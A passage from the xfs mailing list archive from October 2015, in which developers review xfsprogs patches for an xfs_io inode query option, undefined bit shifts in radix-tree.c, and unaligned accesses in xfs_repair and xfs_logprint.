(ret_lsize || ret_largest) { > > + > > + bulkreq.lastip = &last; > > + bulkreq.icount = 1024; /* User-defined maybe!? */ > > + bulkreq.ubuffer = &igroup; > > + bulkreq.ocount = &count; > > + > > for (;;) { > > if (xfsctl(file->name, file->fd, XFS_IOC_FSINUMBERS, > > &bulkreq)) { > > @@ -806,7 +831,7 @@ inode_f( > > exitcode = 1; > > return 0; > > } > > - if (count < XFS_INODES_PER_CHUNK && count > 0) > > + if (count < 1024 && count > 0) > > lastgrp = count; > > Ok, that sort of addresses my question on patch 1. I guess this is a > record count rather than an inode count as well. In that case, what > happens if the fs has an exact multiple of 1024 inode records? > Yes, it's a record count, each record contains a single inode chunk. regarding the exactly multiple of 1024 chunks, AFAIK it will fit all the 1024 records in a single array, which is exactly the size of the array I'm using here, and, next call to xfsctl, will return a 0 records count, making the look to exit. > BTW, I think this should probably be set correctly when it is introduced > rather than set to a value and changed in a subsequent patch. Yes, I just forgot to change this in the first patch, see my comment in patch 1. > > > if (!count) > > break; > > @@ -822,8 +847,47 @@ inode_f( > > else > > printf(_("Largest inode: %llu\n"), lastino); > > > > + return 0; > > + } > > + > > + /* Setup bulkreq for -n or [num] only */ > > + last = userino; > > + bulkreq.lastip = &last; > > + bulkreq.icount = 1; > > + bulkreq.ubuffer = &bstat; > > + bulkreq.ocount = &count; > > + > > + if (ret_next) { > > + if (xfsctl(file->name, file->fd, XFS_IOC_FSBULKSTAT, &bulkreq)) { > > + if (errno == EINVAL) > > + printf("Invalid or non-existent inode\n"); > > + else > > + perror("XFS_IOC_FSBULKSTAT"); > > + exitcode = 1; > > + return 0; > > + } > > + > > + if (!bstat.bs_ino) { > > + printf("There are no further inodes in the filesystem\n"); > > + return 0; > > + } > > The above should technically check the output count rather than the > inode number, right? > If I use the inode count, I can get an 'allocated but free' inode, which is not the intention here. > > + > > + printf("Next inode: %llu\n", bstat.bs_ino); > > + return 0; > > } > > > > + if (ret_isvalid) { > > + if (xfsctl(file->name, file->fd, XFS_IOC_FSBULKSTAT_SINGLE, &bulkreq)) { > > + if (errno == EINVAL) { > > + printf("Invalid or non-existent inode number\n"); > > Is EINVAL returned in the non-existent case or ENOENT? > I'll check this inside kernel, but I'm not sure if there is any distinction. If the inode passed to xfsctl is incalid, EINVAL will be returned. > Brian > > > + } else > > + perror("XFS_IOC_FSBULKSTAT_SINGLE"); > > + exitcode = 1; > > + return 0; > > + } > > + printf("Valid inode: %llu\n", bstat.bs_ino); > > + return 0; > > + } > > > > return 0; > > } > > @@ -895,9 +959,9 @@ open_init(void) > > > > inode_cmd.name = "inode"; > > inode_cmd.cfunc = inode_f; > > - inode_cmd.args = _("[-s | -l]"); > > + inode_cmd.args = _("[-s | -l | -n] [num]"); > > inode_cmd.argmin = 1; > > - inode_cmd.argmax = 1; > > + inode_cmd.argmax = 2; > > inode_cmd.flags = CMD_NOMAP_OK; > > inode_cmd.oneline = > > _("Query inode number usage in the filesystem"); > > -- > > 2.4.3 > > > > _______________________________________________ > > xfs mailing list > > xfs@oss.sgi.com > > http://oss.sgi.com/mailman/listinfo/xfs -- Carlos From bfoster@redhat.com Fri Oct 9 07:36:21 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 25F8C7F37 for ; Fri, 9 Oct 2015 07:36:21 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 079AB8F8049 for ; Fri, 9 Oct 2015 05:36:17 -0700 (PDT) X-ASG-Debug-ID: 1444394176-04cb6c57865d200001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id jBinLP2wieQHVBFG (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Fri, 09 Oct 2015 05:36:16 -0700 (PDT) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx09.intmail.prod.int.phx2.redhat.com (int-mx09.intmail.prod.int.phx2.redhat.com [10.5.11.22]) by mx1.redhat.com (Postfix) with ESMTPS id 0169C91E9D for ; Fri, 9 Oct 2015 12:36:15 +0000 (UTC) Received: from bfoster.bfoster (dhcp-41-179.bos.redhat.com [10.18.41.179]) by int-mx09.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t99CaF6g020312 for ; Fri, 9 Oct 2015 08:36:15 -0400 Received: by bfoster.bfoster (Postfix, from userid 1000) id 957F9123DCD; Fri, 9 Oct 2015 08:36:14 -0400 (EDT) Date: Fri, 9 Oct 2015 08:36:14 -0400 From: Brian Foster To: xfs@oss.sgi.com Subject: Re: [PATCH 3/3] xfs_io: implement inode '-n' and [num] argument Message-ID: <20151009123613.GA27982@bfoster.bfoster> X-ASG-Orig-Subj: Re: [PATCH 3/3] xfs_io: implement inode '-n' and [num] argument References: <1443186467-20110-1-git-send-email-cmaiolino@redhat.com> <1443186467-20110-4-git-send-email-cmaiolino@redhat.com> <20151006170055.GD63205@bfoster.bfoster> <20151009083313.GA28373@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20151009083313.GA28373@redhat.com> User-Agent: Mutt/1.5.23 (2014-03-12) X-Scanned-By: MIMEDefang 2.68 on 10.5.11.22 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1444394176 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On Fri, Oct 09, 2015 at 10:33:13AM +0200, Carlos Maiolino wrote: > On Tue, Oct 06, 2015 at 01:00:56PM -0400, Brian Foster wrote: > > On Fri, Sep 25, 2015 at 03:07:47PM +0200, Carlos Maiolino wrote: > > > "-n [num]" argument, will return to the user the next inode valid on the filesystem > > > after [num]. > > > > > > Using [num] exclusive, will test if the inode [num] is a valid inode in the > > > filesystem or not. > > > > > > Signed-off-by: Carlos Maiolino > > > --- > > > io/open.c | 84 +++++++++++++++++++++++++++++++++++++++++++++++++++++++-------- > > > 1 file changed, 74 insertions(+), 10 deletions(-) > > > > > > diff --git a/io/open.c b/io/open.c > > > index 57ff0bf..9f68de0 100644 > > > --- a/io/open.c > > > +++ b/io/open.c ... > > > > > > + if ((optind < argc) && !(ret_next || ret_lsize || ret_largest)) { > > > + ret_isvalid = 1; > > > + userino = strtoull(argv[optind], &p, 10); > > > + } > > > > So this appears to be the default behavior (validate whether an inode > > exists). Perhaps this functionality should come first since that's the > > core behavior for the command. > > > > Hmm, I don't think so, I need getopt() to setup optind for this. > I don't see how that matters. That code can stay in the first patch. I'm just saying patch 1 should probably implement the core/default functionality, and obviously whatever supporting code is necessary to make that happen. For example, that could mean that the above ret_isvalid = 1 block goes away, the code executes in this mode by default, and the subsequent patches implement alternate branches as necessary to alter behavior. In other words, the (pseudo)code can start off looking like this: userino = ...; ... bulkreq = ... xfsctl(..., XFS_IOC_FSBULKSTAT_SINGLE, ...); printf("Valid inode: ..."); return 0; ... then patch 2 comes along an adds a next option: int cmd = XFS_IOC_FSBULKSTAT_SINGLE; while (getopt() = ...) { if (next) cmd = XFS_IOC_FSBULKSTAT; } userino = ...; ... bulkreq = ... xfsctl(..., cmd, ...); printf("%s inode: ...", next ? "Next" : "Valid", ...); return 0; ... and so on. Patch 3 comes along and adds more command line options and an alternate FSNUMBERS branch before the bulkstat xfsctl(). That branch ends with a return 0, so there's no need to put the core mechanism bits above into an 'if (ret_isvalid).' The alternative is to just squash everything to one patch, which is probably reasonable too. I still think the end result can be simplified and reduced to something like the above though. > > > + > > > + if (userino) > > > + if (*p != '\0') { > > > + printf("[num] must be a valid number\n"); > > > + exitcode = 1; > > > + return 0; > > > + } > > > + > > > if (ret_lsize || ret_largest) { > > > + > > > + bulkreq.lastip = &last; > > > + bulkreq.icount = 1024; /* User-defined maybe!? */ > > > + bulkreq.ubuffer = &igroup; > > > + bulkreq.ocount = &count; > > > + > > > for (;;) { > > > if (xfsctl(file->name, file->fd, XFS_IOC_FSINUMBERS, > > > &bulkreq)) { > > > @@ -806,7 +831,7 @@ inode_f( > > > exitcode = 1; > > > return 0; > > > } > > > - if (count < XFS_INODES_PER_CHUNK && count > 0) > > > + if (count < 1024 && count > 0) > > > lastgrp = count; > > > > Ok, that sort of addresses my question on patch 1. I guess this is a > > record count rather than an inode count as well. In that case, what > > happens if the fs has an exact multiple of 1024 inode records? > > > Yes, it's a record count, each record contains a single inode chunk. > regarding the exactly multiple of 1024 chunks, AFAIK it will fit all the 1024 > records in a single array, which is exactly the size of the array I'm using > here, and, next call to xfsctl, will return a 0 records count, making the look > to exit. > Ok, that's what I would expect up to that point. To be more clear, when is lastgrp ever set? Further, what happens if xfsctl() somewhere down the road decides to memset(..., 0, ...) bulkreq.ubuffer (for example) when count is set to 0? For example, here's a quick experiment on an fs with precisely 1024 inode records: # ./io/xfs_io -c "inode -l" /mnt/ Largest inode: 1070 # find /mnt/ -inum 1070 -print # Oops! :) After adding a few more records: # ./io/xfs_io -c "inode -l" /mnt/ Largest inode: 971014 # find /mnt/ -inum 971014 -print /mnt/tmp/128 # > > BTW, I think this should probably be set correctly when it is introduced > > rather than set to a value and changed in a subsequent patch. > > Yes, I just forgot to change this in the first patch, see my comment in patch 1. > > > > > > if (!count) > > > break; > > > @@ -822,8 +847,47 @@ inode_f( > > > else > > > printf(_("Largest inode: %llu\n"), lastino); > > > > > > + return 0; > > > + } > > > + > > > + /* Setup bulkreq for -n or [num] only */ > > > + last = userino; > > > + bulkreq.lastip = &last; > > > + bulkreq.icount = 1; > > > + bulkreq.ubuffer = &bstat; > > > + bulkreq.ocount = &count; > > > + > > > + if (ret_next) { > > > + if (xfsctl(file->name, file->fd, XFS_IOC_FSBULKSTAT, &bulkreq)) { > > > + if (errno == EINVAL) > > > + printf("Invalid or non-existent inode\n"); > > > + else > > > + perror("XFS_IOC_FSBULKSTAT"); > > > + exitcode = 1; > > > + return 0; > > > + } > > > + > > > + if (!bstat.bs_ino) { > > > + printf("There are no further inodes in the filesystem\n"); > > > + return 0; > > > + } > > > > The above should technically check the output count rather than the > > inode number, right? > > > If I use the inode count, I can get an 'allocated but free' inode, which is not > the intention here. > I don't think bulkstat returns unused (but allocated) inodes. Most of the inode information would be invalid/undefined. Indeed, from xfs_bulkstat_ag_ichunk(): /* Skip if this inode is free */ if (XFS_INOBT_MASK(chunkidx) & irbp->ir_free) continue; Brian > > > + > > > + printf("Next inode: %llu\n", bstat.bs_ino); > > > + return 0; > > > } > > > > > > + if (ret_isvalid) { > > > + if (xfsctl(file->name, file->fd, XFS_IOC_FSBULKSTAT_SINGLE, &bulkreq)) { > > > + if (errno == EINVAL) { > > > + printf("Invalid or non-existent inode number\n"); > > > > Is EINVAL returned in the non-existent case or ENOENT? > > > > I'll check this inside kernel, but I'm not sure if there is any distinction. If > the inode passed to xfsctl is incalid, EINVAL will be returned. > > > > Brian > > > > > + } else > > > + perror("XFS_IOC_FSBULKSTAT_SINGLE"); > > > + exitcode = 1; > > > + return 0; > > > + } > > > + printf("Valid inode: %llu\n", bstat.bs_ino); > > > + return 0; > > > + } > > > > > > return 0; > > > } > > > @@ -895,9 +959,9 @@ open_init(void) > > > > > > inode_cmd.name = "inode"; > > > inode_cmd.cfunc = inode_f; > > > - inode_cmd.args = _("[-s | -l]"); > > > + inode_cmd.args = _("[-s | -l | -n] [num]"); > > > inode_cmd.argmin = 1; > > > - inode_cmd.argmax = 1; > > > + inode_cmd.argmax = 2; > > > inode_cmd.flags = CMD_NOMAP_OK; > > > inode_cmd.oneline = > > > _("Query inode number usage in the filesystem"); > > > -- > > > 2.4.3 > > > > > > _______________________________________________ > > > xfs mailing list > > > xfs@oss.sgi.com > > > http://oss.sgi.com/mailman/listinfo/xfs > > -- > Carlos From bfoster@redhat.com Fri Oct 9 08:23:44 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 6DE3C7F47 for ; Fri, 9 Oct 2015 08:23:44 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id EAC1DAC001 for ; Fri, 9 Oct 2015 06:23:43 -0700 (PDT) X-ASG-Debug-ID: 1444397018-04cbb03f1561f00001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id yljqQXQXofo8HlbO (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Fri, 09 Oct 2015 06:23:39 -0700 (PDT) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx10.intmail.prod.int.phx2.redhat.com (int-mx10.intmail.prod.int.phx2.redhat.com [10.5.11.23]) by mx1.redhat.com (Postfix) with ESMTPS id C322D319AF8; Fri, 9 Oct 2015 13:23:38 +0000 (UTC) Received: from bfoster.bfoster (dhcp-41-179.bos.redhat.com [10.18.41.179]) by int-mx10.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t99DNc6I025049; Fri, 9 Oct 2015 09:23:38 -0400 Received: by bfoster.bfoster (Postfix, from userid 1000) id 68911123DCD; Fri, 9 Oct 2015 09:23:37 -0400 (EDT) Date: Fri, 9 Oct 2015 09:23:37 -0400 From: Brian Foster To: Eric Sandeen Cc: xfs@oss.sgi.com Subject: Re: [PATCH 1/4] libxfs: avoid negative (and full-width) shifts in radix-tree.c Message-ID: <20151009132337.GB27982@bfoster.bfoster> X-ASG-Orig-Subj: Re: [PATCH 1/4] libxfs: avoid negative (and full-width) shifts in radix-tree.c References: <56170906.5090301@redhat.com> <56170955.9020105@sandeen.net> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <56170955.9020105@sandeen.net> User-Agent: Mutt/1.5.23 (2014-03-12) X-Scanned-By: MIMEDefang 2.68 on 10.5.11.23 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1444397019 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On Thu, Oct 08, 2015 at 07:24:53PM -0500, Eric Sandeen wrote: > Pull this commit over from the kernel, as libubsan spotted a > bad shift at runtime: > > commit 430d275a399175c7c0673459738979287ec1fd22 > Author: Peter Lund > Date: Tue Oct 16 23:29:35 2007 -0700 > > avoid negative (and full-width) shifts in radix-tree.c > > Negative shifts are not allowed in C (the result is undefined). Same thing > with full-width shifts. > > It works on most platforms but not on the VAX with gcc 4.0.1 (it results in an > "operand reserved" fault). > > Shifting by more than the width of the value on the left is also not > allowed. I think the extra '>> 1' tacked on at the end in the original > code was an attempt to work around that. Getting rid of that is an extra > feature of this patch. > > Here's the chapter and verse, taken from the final draft of the C99 > standard ("6.5.7 Bitwise shift operators", paragraph 3): > > "The integer promotions are performed on each of the operands. The > type of the result is that of the promoted left operand. If the > value of the right operand is negative or is greater than or equal > to the width of the promoted left operand, the behavior is > undefined." > > Thank you to Jan-Benedict Glaw, Christoph Hellwig, Maciej Rozycki, Pekka > Enberg, Andreas Schwab, and Christoph Lameter for review. Special thanks > to Andreas for spotting that my fix only removed half the undefined > behaviour. > > Signed-off-by: Peter Lund > > Signed-off-by: Eric Sandeen > --- Reviewed-by: Brian Foster > libxfs/radix-tree.c | 14 ++++++++------ > 1 files changed, 8 insertions(+), 6 deletions(-) > > diff --git a/libxfs/radix-tree.c b/libxfs/radix-tree.c > index 4d44ab4..eef9c36 100644 > --- a/libxfs/radix-tree.c > +++ b/libxfs/radix-tree.c > @@ -784,12 +784,14 @@ int radix_tree_tagged(struct radix_tree_root *root, unsigned int tag) > > static unsigned long __maxindex(unsigned int height) > { > - unsigned int tmp = height * RADIX_TREE_MAP_SHIFT; > - unsigned long index = (~0UL >> (RADIX_TREE_INDEX_BITS - tmp - 1)) >> 1; > - > - if (tmp >= RADIX_TREE_INDEX_BITS) > - index = ~0UL; > - return index; > + unsigned int width = height * RADIX_TREE_MAP_SHIFT; > + int shift = RADIX_TREE_INDEX_BITS - width; > + > + if (shift < 0) > + return ~0UL; > + if (shift >= BITS_PER_LONG) > + return 0UL; > + return ~0UL >> shift; > } > > static void radix_tree_init_maxindex(void) > -- > 1.7.1 > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs From bfoster@redhat.com Fri Oct 9 08:24:40 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id C074A7F47 for ; Fri, 9 Oct 2015 08:24:40 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 94CFE8F8035 for ; Fri, 9 Oct 2015 06:24:37 -0700 (PDT) X-ASG-Debug-ID: 1444397075-04bdf020dc608f0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id UUnvki9WdhOaJt6Q (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Fri, 09 Oct 2015 06:24:36 -0700 (PDT) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24]) by mx1.redhat.com (Postfix) with ESMTPS id BF54567; Fri, 9 Oct 2015 13:24:35 +0000 (UTC) Received: from bfoster.bfoster (dhcp-41-179.bos.redhat.com [10.18.41.179]) by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t99DOZYL019761; Fri, 9 Oct 2015 09:24:35 -0400 Received: by bfoster.bfoster (Postfix, from userid 1000) id 4436A123DCD; Fri, 9 Oct 2015 09:24:34 -0400 (EDT) Date: Fri, 9 Oct 2015 09:24:34 -0400 From: Brian Foster To: Eric Sandeen Cc: xfs@oss.sgi.com Subject: Re: [PATCH 2/4] xfs_repair: fix unaligned accesses Message-ID: <20151009132433.GC27982@bfoster.bfoster> X-ASG-Orig-Subj: Re: [PATCH 2/4] xfs_repair: fix unaligned accesses References: <56170906.5090301@redhat.com> <56170974.5020604@sandeen.net> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <56170974.5020604@sandeen.net> User-Agent: Mutt/1.5.23 (2014-03-12) X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1444397076 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On Thu, Oct 08, 2015 at 07:25:24PM -0500, Eric Sandeen wrote: > This fixes some unaligned accesses spotted by libubsan in repair. > Could we add a couple sentences about why this is a problem? I take it unaligned accesses are "bad" on certain arches..? > Signed-off-by: Eric Sandeen > --- > repair/dinode.c | 19 +++++++++---------- > repair/prefetch.c | 4 ++-- > 2 files changed, 11 insertions(+), 12 deletions(-) > > diff --git a/repair/dinode.c b/repair/dinode.c > index f78f907..44bbb8f 100644 > --- a/repair/dinode.c > +++ b/repair/dinode.c > @@ -960,13 +960,13 @@ _("bad numrecs 0 in inode %" PRIu64 " bmap btree root block\n"), > * btree, we'd do it right here. For now, if there's a > * problem, we'll bail out and presumably clear the inode. > */ > - if (!verify_dfsbno(mp, be64_to_cpu(pp[i]))) { > + if (!verify_dfsbno(mp, get_unaligned_be64(&pp[i]))) { > do_warn(_("bad bmap btree ptr 0x%llx in ino %" PRIu64 "\n"), > - (unsigned long long) be64_to_cpu(pp[i]), lino); > + get_unaligned_be64(&pp[i]), lino); > return(1); > } > > - if (scan_lbtree(be64_to_cpu(pp[i]), level, scan_bmapbt, type, > + if (scan_lbtree(get_unaligned_be64(&pp[i]), level, scan_bmapbt, type, > whichfork, lino, tot, nex, blkmapp, &cursor, > 1, check_dups, magic, &xfs_bmbt_buf_ops)) > return(1); > @@ -977,25 +977,24 @@ _("bad numrecs 0 in inode %" PRIu64 " bmap btree root block\n"), > * blocks but the parent hasn't been updated > */ > if (!check_dups && cursor.level[level-1].first_key != > - be64_to_cpu(pkey[i].br_startoff)) { > + get_unaligned_be64(&pkey[i].br_startoff)) { > if (!no_modify) { > do_warn( > _("correcting key in bmbt root (was %llu, now %" PRIu64") in inode " > "%" PRIu64" %s fork\n"), > - (unsigned long long) > - be64_to_cpu(pkey[i].br_startoff), > + get_unaligned_be64(&pkey[i].br_startoff), > cursor.level[level-1].first_key, > XFS_AGINO_TO_INO(mp, agno, ino), > forkname); > *dirty = 1; > - pkey[i].br_startoff = cpu_to_be64( > - cursor.level[level-1].first_key); > + put_unaligned_be64( > + cpu_to_be64(cursor.level[level-1].first_key), > + &pkey[i].br_startoff); I could be confused here... but if get_unaligned_be64() takes a be64 and transforms to cpu order, shouldn't put_unaligned_be64() take a cpu order parameter? Is this a double byte order swap? Brian > } else { > do_warn( > _("bad key in bmbt root (is %llu, would reset to %" PRIu64 ") in inode " > "%" PRIu64 " %s fork\n"), > - (unsigned long long) > - be64_to_cpu(pkey[i].br_startoff), > + get_unaligned_be64(&pkey[i].br_startoff), > cursor.level[level-1].first_key, > XFS_AGINO_TO_INO(mp, agno, ino), > forkname); > diff --git a/repair/prefetch.c b/repair/prefetch.c > index 32ec55e..52238ca 100644 > --- a/repair/prefetch.c > +++ b/repair/prefetch.c > @@ -330,7 +330,7 @@ pf_scanfunc_bmap( > pp = XFS_BMBT_PTR_ADDR(mp, block, 1, mp->m_bmap_dmxr[1]); > > for (i = 0; i < numrecs; i++) { > - dbno = be64_to_cpu(pp[i]); > + dbno = get_unaligned_be64(&pp[i]); > if (!verify_dfsbno(mp, dbno)) > return 0; > if (!pf_scan_lbtree(dbno, level, isadir, args, pf_scanfunc_bmap)) > @@ -372,7 +372,7 @@ pf_read_btinode( > pp = XFS_BMDR_PTR_ADDR(dib, 1, xfs_bmdr_maxrecs(dsize, 0)); > > for (i = 0; i < numrecs; i++) { > - dbno = be64_to_cpu(pp[i]); > + dbno = get_unaligned_be64(&pp[i]); > if (!verify_dfsbno(mp, dbno)) > break; > if (!pf_scan_lbtree(dbno, level, isadir, args, pf_scanfunc_bmap)) > -- > 1.7.1 > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs From bfoster@redhat.com Fri Oct 9 08:24:44 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 8E1C97F55 for ; Fri, 9 Oct 2015 08:24:44 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 14831AC002 for ; Fri, 9 Oct 2015 06:24:44 -0700 (PDT) X-ASG-Debug-ID: 1444397082-04cb6c57865e1e0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id 8oC2ItGthUZzdsWa (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Fri, 09 Oct 2015 06:24:42 -0700 (PDT) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx09.intmail.prod.int.phx2.redhat.com (int-mx09.intmail.prod.int.phx2.redhat.com [10.5.11.22]) by mx1.redhat.com (Postfix) with ESMTPS id 4C98BC0BE06A; Fri, 9 Oct 2015 13:24:42 +0000 (UTC) Received: from bfoster.bfoster (dhcp-41-179.bos.redhat.com [10.18.41.179]) by int-mx09.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t99DOgOh012901; Fri, 9 Oct 2015 09:24:42 -0400 Received: by bfoster.bfoster (Postfix, from userid 1000) id 09D7E123DCD; Fri, 9 Oct 2015 09:24:41 -0400 (EDT) Date: Fri, 9 Oct 2015 09:24:40 -0400 From: Brian Foster To: Eric Sandeen Cc: xfs@oss.sgi.com Subject: Re: [PATCH 3/4] xfs_logprint: fix some unaligned accesses Message-ID: <20151009132440.GD27982@bfoster.bfoster> X-ASG-Orig-Subj: Re: [PATCH 3/4] xfs_logprint: fix some unaligned accesses References: <56170906.5090301@redhat.com> <5617098E.9090102@sandeen.net> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <5617098E.9090102@sandeen.net> User-Agent: Mutt/1.5.23 (2014-03-12) X-Scanned-By: MIMEDefang 2.68 on 10.5.11.22 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1444397082 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On Thu, Oct 08, 2015 at 07:25:50PM -0500, Eric Sandeen wrote: > This routine had a fair bit of gyration to avoid unaligned accesses, > but didn't fix them all. Fix some more spotted at runtime by libubsan. > > Signed-off-by: Eric Sandeen > --- > logprint/log_misc.c | 18 +++++++++++++++--- > repair/btree.c | 1 + > 2 files changed, 16 insertions(+), 3 deletions(-) > > diff --git a/logprint/log_misc.c b/logprint/log_misc.c > index d76145c..6cd249a 100644 > --- a/logprint/log_misc.c > +++ b/logprint/log_misc.c > @@ -325,7 +325,11 @@ xlog_print_trans_buffer(char **ptr, int len, int *i, int num_ops) > } > super_block = 0; > } else if (be32_to_cpu(*(__be32 *)(*ptr)) == XFS_AGI_MAGIC) { > - agi = (xfs_agi_t *)(*ptr); > + struct xfs_agi agi_s; > + > + /* memmove because *ptr may not be 8-byte aligned */ > + memmove(&agi_s, *ptr, sizeof(struct xfs_agi)); > + agi = &agi_s; Nit: could we either define the new variables in the same scope as the pointer (either here or at the top of the function), or just ditch the pointers altogether? > printf(_("AGI Buffer: XAGI ")); > /* > * v4 filesystems only contain the fields before the uuid. ... > diff --git a/repair/btree.c b/repair/btree.c > index 66fb40b..e31e67a 100644 > --- a/repair/btree.c > +++ b/repair/btree.c > @@ -230,6 +230,7 @@ btree_get_next( > } > if (level == 0) { > if (key) { > + /* XXXX what if index past MAX? What if no next? */ Unintentional hunk? Brian > cur->index++; > *key = btree_key_of_cursor(cur, root->height); > cur->index--; > -- > 1.7.1 > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs From bfoster@redhat.com Fri Oct 9 08:24:48 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 452957F5A for ; Fri, 9 Oct 2015 08:24:48 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 11EA830404E for ; Fri, 9 Oct 2015 06:24:48 -0700 (PDT) X-ASG-Debug-ID: 1444397086-04bdf020da60900001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id fnC8j3qg7ZFtRqJl (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Fri, 09 Oct 2015 06:24:46 -0700 (PDT) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx14.intmail.prod.int.phx2.redhat.com (int-mx14.intmail.prod.int.phx2.redhat.com [10.5.11.27]) by mx1.redhat.com (Postfix) with ESMTPS 